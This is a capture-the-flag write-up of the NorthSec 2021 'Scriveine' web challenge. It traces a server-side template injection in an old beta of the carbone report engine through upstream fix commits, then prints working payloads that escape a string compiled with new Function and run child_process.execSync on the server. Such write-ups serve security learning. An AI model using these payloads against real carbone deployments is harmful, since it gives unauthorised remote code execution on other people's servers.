NSEC21 Scriveine Book Copying Platform - Wed, May 26, 2021 - Jean Privat Pourliver
Old packages are full of known holes | Web Node | Nsec21
Scrivine.ctf
Did I tell you that my brother’s a copyist monk? These people are usually very slow to adapt with technology, but things are going too fast now. They were asked to use a new platform to transcribe the royal litterary works. With all of this keyboard work, the scribes have started developping wrist problems. And you know, some scribes are using this server to transcribe some sensitive information about the king. We need to make sure they are in good shape! So… as a personal favor. If someone was to take control of the server and leak this information, maybe they would be allowed to use parchment and stylus again! Don’t ask me how I got this, but here’s the source code for the application… Apart from the old version of the templating engine, everything seems up to date. http://scriveine.ctf/
We have a web simple application that asks for
- A template document (format unknown yet)
- Some json data to fill the document
Then provide a final rendered document.
If you just click Download Book
without providing anything, you get docx file with a single blank page.
Nope.js
So, we have a web application and its source code. What more can we ask for?
Maybe a web application not written in node? Eh, it’s NorthSec! Sometimes you need to do some unclean business for precious flags.
Package.json
The challenge description gives a hint
So… as a personal favor. If someone was to take control of the server and leak this information, maybe they would be allowed to use parchment and stylus again! Apart from the old version of the templating engine, everything seems up to date.
So, let’s check for this famous templating engine.
$ cat package.json
{
"name": "Scriveine",
"description": "The new scribe book copying portal",
"version": "0.0.1",
"private": true,
"dependencies": {
"koa": "^2.13.0",
"koa-static": "^5.0.0",
"koa-body": "^4.2.0",
"carbone": "2.0.0-beta.4"
},
"engines": {
"node": ">= 15.0.1"
},
"license": "MIT"
}
carbone.js
koa
is the web framework, so carbone
should be the templating engine.
Lets find out: https://github.com/Ideolys/carbone is a fast, simple and powerful report generator in any format.
Ok. This shoud be it. It’s a moustache-like template engine with a twist: moustaches are inserted into high-level XML documents like ods or xlsx.
Let’s check the template specification and look for some obvious flaws or some possible vulnerabilities or attack strategies. https://carbone.io/documentation.html#building-a-template
The template language seems really fine: only raw data, style rendering, and simple transformations. Nothing that seems to be obviously eval
ed.
So, what are the flaws we can exploit? XXE since we feed XML-related documents? Some crazy cornercase bug in the template engine? An existing backdoor? An undocumented (or depreciated) risky feature of the template language?
Do we really want to spend precious Northsec hours to look for a needle in a haystack.js?
2-beta.4
The challenge explicitly mention the old version of the templating engine.
package.json
indicates version 2.0.0-beta.4
. Let’s have a look.
v2.0.0-beta.4 is this one: https://github.com/Ideolys/carbone/tree/f58b68887bc7be93a9936428d560ef559b1640e5
We could download it and look for vulnerabilities. Or we could just look for fixes in future versions. v2.0.0-beta.5 already includes two fixes:
- https://github.com/Ideolys/carbone/commit/151d28bdcf94ff2184ff200f183ac7498f2daa09
- https://github.com/Ideolys/carbone/commit/79e8a34f442f6882dc00e92634fe4d438d2f0266
Reading the diffs without context is not easy, but it looks like this add some kind of sanitization before concatenating strings of data into a variable named _code
…
that contains some pieces of JavaScript…
but what code will these strings of JavaScript become?
probably executed…
what else would you concatenate JS for?
Let’s check!
$ grep -r eval node_modules/carbone/
$
No eval.
Honestly, We didn’t expect that.
lib/builder.js
According to the commits, some magic is happening in the file lib/builder.js
.
After a better glance at it, this confirms that some js code is built with string concatenation into a variable _codeAssembled
, then packed all together with _fn = new Function('data', 'options', 'helper', _codeAssembled);
, then invoked.
So if we can correctly inject some data into the string, we have a possible remote code execution!
test/test.carbone.js
As every developer should know, implementing tests for previous known issues is always a great idea. As we can see in one of those commit, the following test has been added :
describe('security test', function () {
it('cannot inject JS using XML', function (done) {
var data = {
param : 3,
};
carbone.renderXML("<xml>{d.param}\\'sdsdsd.ss;'{d.param} </xml>", data, function (err, result) {
helper.assert(err+'', 'null');
helper.assert(result, "<xml>3\\\\'sdsdsd.ss;3\\' </xml>");
done();
});
});
});
Since we know how the fix works, it’s much easier to exploit than by understanding the parser logic. As we can see, the fix works by correctly escaping each backslash, and single quotes. Without this fix, it should be possible to escape the string we are in to inject some Node.js
code.
Exploitation
We can generate our first PoC by escaping a single quote, appending a Node.js
function to the string, and commenting the rest of the line.
Here is the json
data sent along the template
{
"name": "Test"
}
And here is the template:
<xml>{d.name}\'+process.env ////{d.name} </xml>
The server tries to print the value of process.env
, and we get an [object Object]
in the response, proving that our template injection worked.
<xml>
Test\[object Object]Test/
</xml>
Since we can call any function of our choosing, and the return value of the function is reflected in our response, we can modify our template and use this gadget to execute code on the server, and get the flag.
<xml>{d.name}\'+process.mainModule.require("child_process").execSync("grep -Rh FLAG /home") ////{d.name} </xml>
Response :
<xml>
Test\FLAG-TheKingDoesNotKnowHowToExitVimTest/
</xml>